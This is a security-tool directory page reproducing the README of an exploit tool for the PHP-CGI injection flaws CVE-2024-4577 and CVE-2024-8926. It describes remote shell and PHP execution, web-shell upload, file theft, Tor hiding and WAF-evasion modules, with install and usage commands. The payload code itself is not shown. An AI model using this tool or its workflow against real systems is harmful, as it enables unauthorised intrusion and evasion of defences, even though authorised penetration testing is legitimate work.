Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php-cgi-Injector — 一個測試CVE-2024-4577和CVE-2024-8926的安全滲透工具 | Kitploit
Tools/GitHubGitHub/night-have-dreams/php-cgi-injector
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassPenetration TestingCommand and Control
GitHubnight-have-dreams/php-cgi-injector

php-cgi-Injector

一個測試CVE-2024-4577和CVE-2024-8926的安全滲透工具

View Repository
49241 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PHP-CGI Injector

🚀 CVE-2024-4577 & CVE-2024-8926 Exploit Tool

Automated testing tool for PHP-CGI parameter injection vulnerabilities, supporting CVE-2024-4577 and CVE-2024-8926, with capabilities for command execution, file upload, download, etc.


📌 Introduction

This tool can be used to test parameter injection vulnerabilities in PHP-CGI environments and provides:

  • ✅ Cool terminal interface with animation effects
  • ✅ Automated vulnerability scanning
  • ✅ Multiple attack modes (Shell, PHP code execution, file upload/download)
  • ✅ Default and custom Payload combinations
  • ✅ Tor traffic hiding mode
  • ✅ Multiple Bypass WAF evasion modules
  • ✅ Automatic output encoding conversion
  • ✅ Forced exploitation mode (even if no vulnerability is detected)
  • ❌ Does not support making coffee, but supports roasting WAF.
  • ❌ Does not help you write reports, find a girlfriend, or get into graduate school.
  • ❌ Does not support social engineering; please deal with humans yourself.

📜 Disclaimer

This tool is for legitimate testing and academic purposes only. Do not use it on unauthorized systems!

⚠️ Illegal use will result in legal liability!

This tool is intended only for:

  • 🔹 Enterprise red team penetration testing
  • 🔹 CTF security research
  • 🔹 Personal security learning
  • 🔹 Other authorized security testing

📥 Install Dependencies

This tool depends on the following Python packages. Install them first:

root@kitploit:~
pip install -r requirements.txt

Or install manually:

root@kitploit:~
pip install requests requests-tor chardet urllib3 rich

🛠️ Usage

📌 Basic Usage

root@kitploit:~
python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]

Examples:

root@kitploit:~
python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php

📌 Parameter Options

ParameterDescriptionExample
-u , --urlSpecify target URL-u http://example.com
--timeout secSet request timeout (0 = unlimited)--timeout 30
--logAutomatically log shell commands--log
--payloadSpecify or custom Payload combo--payload 2
--torSend requests through Tor--tor
--verboseShow detailed information--verbose
--bypassEnable WAF bypass mode--bypass
--forceForce exploit mode--force
--cgipoint PATHSSpecify specific CGI paths to test--cgipoint /path
--delay secDelay in seconds between requests--delay 1.5
--no-effectsDisable all animations and delays--no-effects

📌 Operation Modes

When the script finds a vulnerability, it displays a menu:

root@kitploit:~
╭────────────  Exploit Mode Menu  ────────────╮
│ Current Target: http://example.com/         │
│ Current Injection Point: /php-cgi/php-cgi.exe│
│ Vulnerability: CVE-2024-4577                │
╰────────────────────────────────────────────╯
1) 🧪 Shell Mode
2) 🛠️ PHP Custom Mode
3) 📤 Upload File
4) 📥 Download File
5) 🎯 Switch Target
6) ⚙️ Settings
7) ❌ Exit
>>

📌 Mode Details

1️⃣ Shell Mode

Execute system commands:

root@kitploit:~
shell> whoami

📂 Save output

root@kitploit:~
shell> whoami --save
root@kitploit:~
shell> whoami --save C:\output\whoami.txt

2️⃣ PHP Custom Mode

Execute custom PHP code:

root@kitploit:~
phpinfo();
EOF

📂 Save output

root@kitploit:~
phpinfo();
EOF --save
root@kitploit:~
phpinfo();
EOF --save C:\output\info.html

3️⃣ Upload File

root@kitploit:~
Local file path: C:\test\shell.php
Target full path:
[*] Auto-set upload path to: C:/xampp/htdocs/shell.php

📂 Manually specify path

root@kitploit:~
Target full path: C:\xampp\php\shell.php

4️⃣ Download File

root@kitploit:~
Remote file path: C:\xampp\htdocs\index.php

📂 File saved in download/, with automatic numbering if duplicate

root@kitploit:~
[*] File downloaded, saved in download/index.php

5️⃣ Switch Target

root@kitploit:~
Enter new target URL: http://newtarget.com

🔹 Will re-test vulnerabilities


6️⃣ Parameter Toggle

root@kitploit:~
[⚙️ Exploit Phase Parameter Settings Menu]

1) Switch Payload        1
2) Bypass Module         Not selected
3) Timeout              10 seconds
4) Request Delay         0 seconds
5) Auto Log              Disabled
6) Verbose Mode          Disabled
7) Animation Effects     Enabled
8) Force Exploit         Disabled
9) Save and Return to Exploit Menu

📌 Bypass WAF Evasion Module

Provides the following evasion strategies:

  • CGI path deformation
  • Add invalid characters before/after payload
  • Replace php://input with alternative syntax
  • Add specific or random HTTP headers
  • Obfuscate POST content
  • Randomly shuffle payload order
  • Custom evasion script, see format in tamper_example_template.txt

Download Tool